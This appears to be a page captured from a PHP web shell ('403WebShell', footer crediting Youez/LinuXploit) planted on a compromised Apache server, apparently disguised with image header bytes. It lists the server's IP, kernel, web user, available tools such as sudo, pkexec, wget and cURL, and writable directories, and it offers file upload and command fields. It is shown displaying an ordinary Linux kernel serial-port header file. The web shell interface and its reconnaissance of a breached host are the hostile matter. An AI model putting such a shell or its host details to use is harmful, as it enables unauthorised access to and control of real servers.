????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.116.112.164
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/modules/3.13.0-49-generic/build/arch/mn10300/unit-asb2303/include/unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib/modules/3.13.0-49-generic/build/arch/mn10300/unit-asb2303/include/unit/serial.h
/* ASB2303-specific 8250 serial ports
 *
 * Copyright (C) 2007 Red Hat, Inc. All Rights Reserved.
 * Written by David Howells (dhowells@redhat.com)
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public Licence
 * as published by the Free Software Foundation; either version
 * 2 of the Licence, or (at your option) any later version.
 */

#ifndef _ASM_UNIT_SERIAL_H
#define _ASM_UNIT_SERIAL_H

#include <asm/cpu-regs.h>
#include <proc/irq.h>
#include <linux/serial_reg.h>

#define SERIAL_PORT0_BASE_ADDRESS	0xA6FB0000
#define SERIAL_PORT1_BASE_ADDRESS	0xA6FC0000

#define SERIAL_IRQ	XIRQ0	/* Dual serial (PC16552)	(Hi) */

/*
 * The ASB2303 has an 18.432 MHz clock the UART
 */
#define BASE_BAUD	(18432000 / 16)

/*
 * dispose of the /dev/ttyS0 and /dev/ttyS1 serial ports
 */
#ifndef CONFIG_GDBSTUB_ON_TTYSx

#define SERIAL_PORT_DFNS						\
	{								\
	.baud_base		= BASE_BAUD,				\
	.irq			= SERIAL_IRQ,				\
	.flags			= STD_COM_FLAGS,			\
	.iomem_base		= (u8 *) SERIAL_PORT0_BASE_ADDRESS,	\
	.iomem_reg_shift	= 2,					\
	.io_type		= SERIAL_IO_MEM,			\
	},								\
	{								\
	.baud_base		= BASE_BAUD,				\
	.irq			= SERIAL_IRQ,				\
	.flags			= STD_COM_FLAGS,			\
	.iomem_base		= (u8 *) SERIAL_PORT1_BASE_ADDRESS,	\
	.iomem_reg_shift	= 2,					\
	.io_type		= SERIAL_IO_MEM,			\
	},

#ifndef __ASSEMBLY__

static inline void __debug_to_serial(const char *p, int n)
{
}

#endif /* !__ASSEMBLY__ */

#else /* CONFIG_GDBSTUB_ON_TTYSx */

#define SERIAL_PORT_DFNS /* both stolen by gdb-stub because they share an IRQ */

#if defined(CONFIG_GDBSTUB_ON_TTYS0)
#define GDBPORT_SERIAL_RX	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_RX  * 4, u8)
#define GDBPORT_SERIAL_TX	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_TX  * 4, u8)
#define GDBPORT_SERIAL_DLL	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_DLL * 4, u8)
#define GDBPORT_SERIAL_DLM	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_DLM * 4, u8)
#define GDBPORT_SERIAL_IER	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_IER * 4, u8)
#define GDBPORT_SERIAL_IIR	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_IIR * 4, u8)
#define GDBPORT_SERIAL_FCR	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_FCR * 4, u8)
#define GDBPORT_SERIAL_LCR	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_LCR * 4, u8)
#define GDBPORT_SERIAL_MCR	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_MCR * 4, u8)
#define GDBPORT_SERIAL_LSR	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_LSR * 4, u8)
#define GDBPORT_SERIAL_MSR	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_MSR * 4, u8)
#define GDBPORT_SERIAL_SCR	__SYSREG(SERIAL_PORT0_BASE_ADDRESS + UART_SCR * 4, u8)
#define GDBPORT_SERIAL_IRQ	SERIAL_IRQ

#elif defined(CONFIG_GDBSTUB_ON_TTYS1)
#define GDBPORT_SERIAL_RX	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_RX  * 4, u8)
#define GDBPORT_SERIAL_TX	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_TX  * 4, u8)
#define GDBPORT_SERIAL_DLL	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_DLL * 4, u8)
#define GDBPORT_SERIAL_DLM	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_DLM * 4, u8)
#define GDBPORT_SERIAL_IER	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_IER * 4, u8)
#define GDBPORT_SERIAL_IIR	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_IIR * 4, u8)
#define GDBPORT_SERIAL_FCR	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_FCR * 4, u8)
#define GDBPORT_SERIAL_LCR	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_LCR * 4, u8)
#define GDBPORT_SERIAL_MCR	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_MCR * 4, u8)
#define GDBPORT_SERIAL_LSR	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_LSR * 4, u8)
#define GDBPORT_SERIAL_MSR	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_MSR * 4, u8)
#define GDBPORT_SERIAL_SCR	__SYSREG(SERIAL_PORT1_BASE_ADDRESS + UART_SCR * 4, u8)
#define GDBPORT_SERIAL_IRQ	SERIAL_IRQ
#endif

#ifndef __ASSEMBLY__

#define LSR_WAIT_FOR(STATE)					\
do {								\
	while (!(GDBPORT_SERIAL_LSR & UART_LSR_##STATE)) {}	\
} while (0)
#define FLOWCTL_WAIT_FOR(LINE)					\
do {								\
	while (!(GDBPORT_SERIAL_MSR & UART_MSR_##LINE)) {}	\
} while (0)
#define FLOWCTL_CLEAR(LINE)			\
do {						\
	GDBPORT_SERIAL_MCR &= ~UART_MCR_##LINE;	\
} while (0)
#define FLOWCTL_SET(LINE)			\
do {						\
	GDBPORT_SERIAL_MCR |= UART_MCR_##LINE;	\
} while (0)
#define FLOWCTL_QUERY(LINE)	({ GDBPORT_SERIAL_MSR & UART_MSR_##LINE; })

static inline void __debug_to_serial(const char *p, int n)
{
	char ch;

	FLOWCTL_SET(DTR);

	for (; n > 0; n--) {
		LSR_WAIT_FOR(THRE);
		FLOWCTL_WAIT_FOR(CTS);

		ch = *p++;
		if (ch == 0x0a) {
			GDBPORT_SERIAL_TX = 0x0d;
			LSR_WAIT_FOR(THRE);
			FLOWCTL_WAIT_FOR(CTS);
		}
		GDBPORT_SERIAL_TX = ch;
	}

	FLOWCTL_CLEAR(DTR);
}

#endif /* !__ASSEMBLY__ */

#endif /* CONFIG_GDBSTUB_ON_TTYSx */

#endif /* _ASM_UNIT_SERIAL_H */

Youez - 2016 - github.com/yon3zu
LinuXploit